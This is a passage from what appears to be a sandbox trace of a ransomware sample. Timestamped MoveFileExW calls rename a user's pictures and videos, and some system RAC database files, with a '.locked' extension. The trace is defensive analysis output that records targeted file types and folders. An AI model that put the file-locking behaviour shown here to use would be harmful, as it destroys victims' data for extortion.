lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x2ewSiyb1wEl4FQoY-sl.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x2ewsiyb1wel4fqoy-sl.png.locked"), dwFlags=0x2) returned 1 [0175.456] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x2Xno79a0Sj.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x2xno79a0sj.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x2Xno79a0Sj.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x2xno79a0sj.bmp.locked"), dwFlags=0x2) returned 1 [0175.511] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XfZb9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xfzb9.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XfZb9.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xfzb9.bmp.locked"), dwFlags=0x2) returned 1 [0175.596] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\xzwSK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xzwsk.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\xzwSK.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xzwsk.gif.locked"), dwFlags=0x2) returned 1 [0175.739] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ydtffhGztzpJfNQSqQo.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ydtffhgztzpjfnqsqqo.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ydtffhGztzpJfNQSqQo.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ydtffhgztzpjfnqsqqo.jpg.locked"), dwFlags=0x2) returned 1 [0175.813] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zFsTqKj.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zfstqkj.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\zFsTqKj.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zfstqkj.gif.locked"), dwFlags=0x2) returned 1 [0175.867] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_I MVnQY0iK9kWW8.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_i mvnqy0ik9kww8.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\_I MVnQY0iK9kWW8.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\_i mvnqy0ik9kww8.png.locked"), dwFlags=0x2) returned 1 [0175.913] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4sz3 Fz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4sz3 fz.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4sz3 Fz.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4sz3 fz.avi.locked"), dwFlags=0x2) returned 1 [0175.965] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5JSyogAAnthNztGtaaz\\vVVlk1Uo2BE.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5jsyogaanthnztgtaaz\\vvvlk1uo2be.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\5JSyogAAnthNztGtaaz\\vVVlk1Uo2BE.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\5jsyogaanthnztgtaaz\\vvvlk1uo2be.mkv.locked"), dwFlags=0x2) returned 1 [0176.060] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GG4qHkEsJ7 lrF Y7c.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9gg4qhkesj7 lrf y7c.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9GG4qHkEsJ7 lrF Y7c.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9gg4qhkesj7 lrf y7c.avi.locked"), dwFlags=0x2) returned 1 [0176.105] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bpjbps5\\BwMC.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bpjbps5\\bwmc.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\bpjbps5\\BwMC.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\bpjbps5\\bwmc.swf.locked"), dwFlags=0x2) returned 1 [0176.185] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\cVzO-JHPLjNFJqaK8EI.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cvzo-jhpljnfjqak8ei.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\cVzO-JHPLjNFJqaK8EI.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cvzo-jhpljnfjqak8ei.flv.locked"), dwFlags=0x2) returned 1 [0176.276] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\1RtZaqwKyawG4Yp4WMuB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\1rtzaqwkyawg4yp4wmub.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\1RtZaqwKyawG4Yp4WMuB.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\1rtzaqwkyawg4yp4wmub.mp4.locked"), dwFlags=0x2) returned 1 [0176.331] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\bsxLCSTOon_acLkiv.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\bsxlcstoon_aclkiv.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\bsxLCSTOon_acLkiv.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\bsxlcstoon_aclkiv.avi.locked"), dwFlags=0x2) returned 1 [0176.371] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\ig5VXGBnZT7q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\ig5vxgbnzt7q.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\ig5VXGBnZT7q.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\ig5vxgbnzt7q.flv.locked"), dwFlags=0x2) returned 1 [0176.422] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\o7Vdn8GBR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\o7vdn8gbr.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\o7Vdn8GBR.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\o7vdn8gbr.flv.locked"), dwFlags=0x2) returned 1 [0176.478] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\to_La.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\to_la.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\to_La.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\to_la.mkv.locked"), dwFlags=0x2) returned 1 [0176.492] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\3WKRf60cv XS8w9\\bMoppdO94M.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\3wkrf60cv xs8w9\\bmoppdo94m.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\3WKRf60cv XS8w9\\bMoppdO94M.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\3wkrf60cv xs8w9\\bmoppdo94m.avi.locked"), dwFlags=0x2) returned 1 [0176.546] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\3WKRf60cv XS8w9\\doXHD.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\3wkrf60cv xs8w9\\doxhd.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\3WKRf60cv XS8w9\\doXHD.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\3wkrf60cv xs8w9\\doxhd.mkv.locked"), dwFlags=0x2) returned 1 [0176.646] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\movo.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\movo.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\movo.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\movo.flv.locked"), dwFlags=0x2) returned 1 [0176.677] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\mPdvf2fmpwzSD4JH GfO.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\mpdvf2fmpwzsd4jh gfo.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\mPdvf2fmpwzSD4JH GfO.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\mpdvf2fmpwzsd4jh gfo.flv.locked"), dwFlags=0x2) returned 1 [0176.690] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\NqROrI-mPbxN74SAB2.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\nqrori-mpbxn74sab2.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\NqROrI-mPbxN74SAB2.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\nqrori-mpbxn74sab2.mp4.locked"), dwFlags=0x2) returned 1 [0176.756] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\YLSU7sRqzjV.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\ylsu7srqzjv.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\vaXSU\\YLSU7sRqzjV.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\vaxsu\\ylsu7srqzjv.swf.locked"), dwFlags=0x2) returned 1 [0176.765] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\Y78BWK_vJWwZeP.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\y78bwk_vjwwzep.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Hq1AfCNNVkR\\Y78BWK_vJWwZeP.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\hq1afcnnvkr\\y78bwk_vjwwzep.mkv.locked"), dwFlags=0x2) returned 1 [0176.785] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Z5paHuLWE7wb_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\z5pahulwe7wb_.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\g63qlmI-Jpdo4TQw\\Z5paHuLWE7wb_.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\g63qlmi-jpdo4tqw\\z5pahulwe7wb_.mkv.locked"), dwFlags=0x2) returned 1 [0176.950] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\j8_p8OLwX2qQIBo1bB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\j8_p8olwx2qqibo1bb.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\j8_p8OLwX2qQIBo1bB.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\j8_p8olwx2qqibo1bb.flv.locked"), dwFlags=0x2) returned 1 [0176.969] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\jKItJ1gCFma1BfYVEWR.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\jkitj1gcfma1bfyvewr.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\jKItJ1gCFma1BfYVEWR.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\jkitj1gcfma1bfyvewr.mkv.locked"), dwFlags=0x2) returned 1 [0177.066] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\PTHwj4pxVOASNpKM.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\pthwj4pxvoasnpkm.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\PTHwj4pxVOASNpKM.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\pthwj4pxvoasnpkm.swf.locked"), dwFlags=0x2) returned 1 [0177.147] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\sGB8 Jbo2B.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\sgb8 jbo2b.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\sGB8 Jbo2B.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\sgb8 jbo2b.mkv.locked"), dwFlags=0x2) returned 1 [0177.236] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\UuVkLr93.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\uuvklr93.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\moj4rURdrDS_j\\UuVkLr93.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\moj4rurdrds_j\\uuvklr93.mp4.locked"), dwFlags=0x2) returned 1 [0177.284] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\M6XU.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\m6xu.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\M6XU.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\m6xu.mp4.locked"), dwFlags=0x2) returned 1 [0177.305] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\MrXtAsd3J wxnvOnIQB.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\mrxtasd3j wxnvoniqb.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\MrXtAsd3J wxnvOnIQB.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\mrxtasd3j wxnvoniqb.mp4.locked"), dwFlags=0x2) returned 1 [0177.314] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\1QZi9xel5J.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\1qzi9xel5j.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\1QZi9xel5J.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\1qzi9xel5j.flv.locked"), dwFlags=0x2) returned 1 [0177.374] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\esmA5tXm1OqWA_8Z_7o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\esma5txm1oqwa_8z_7o.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\esmA5tXm1OqWA_8Z_7o.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\esma5txm1oqwa_8z_7o.flv.locked"), dwFlags=0x2) returned 1 [0177.386] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\y9lMJ.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\y9lmj.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\y9lMJ.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\y9lmj.mp4.locked"), dwFlags=0x2) returned 1 [0177.415] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\ZQt5F2PjdWFMAsTEYYv.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\zqt5f2pjdwfmasteyyv.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\nXhtBScH7b8k\\ZQt5F2PjdWFMAsTEYYv.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\nxhtbsch7b8k\\zqt5f2pjdwfmasteyyv.mkv.locked"), dwFlags=0x2) returned 1 [0177.487] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\X7G7ZjzAv-0jY.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\x7g7zjzav-0jy.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\X7G7ZjzAv-0jY.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\x7g7zjzav-0jy.mkv.locked"), dwFlags=0x2) returned 1 [0177.527] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\zam2dc3Ik3.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\zam2dc3ik3.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\bbQ-3fWXQ2\\zam2dc3Ik3.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\bbq-3fwxq2\\zam2dc3ik3.avi.locked"), dwFlags=0x2) returned 1 [0177.532] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\GfzX.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\gfzx.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\GfzX.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\gfzx.flv.locked"), dwFlags=0x2) returned 1 [0177.565] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\qgWKUaERp8sw.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\qgwkuaerp8sw.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\qgWKUaERp8sw.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\qgwkuaerp8sw.flv.locked"), dwFlags=0x2) returned 1 [0177.569] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\s vGdS3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\s vgds3.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\s vGdS3.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\s vgds3.flv.locked"), dwFlags=0x2) returned 1 [0177.695] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\sIkls F6_XgKV8n9hk0.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\sikls f6_xgkv8n9hk0.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\msExysHk7mA6RigCt\\sIkls F6_XgKV8n9hk0.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\msexyshk7ma6rigct\\sikls f6_xgkv8n9hk0.mkv.locked"), dwFlags=0x2) returned 1 [0177.904] MoveFileExW (lpExistingFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), lpNewFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.locked" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.locked"), dwFlags=0x2) returned 1 [0178.475] MoveFileExW (lpExistingFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), lpNewFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.locked" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf.locked"), dwFlags=0x2) returned 1 [0178.477] MoveFileExW (lpExistingFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat"), lpNewFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat.locked" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat.locked"), dwFlags=0x2) returned 1 [0178.495] MoveFileExW (lpExistingFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat"), lpNewFileName="C:\\\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.locked" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat.locked"), dwFlags=0x2) returned 1 [0178.512] 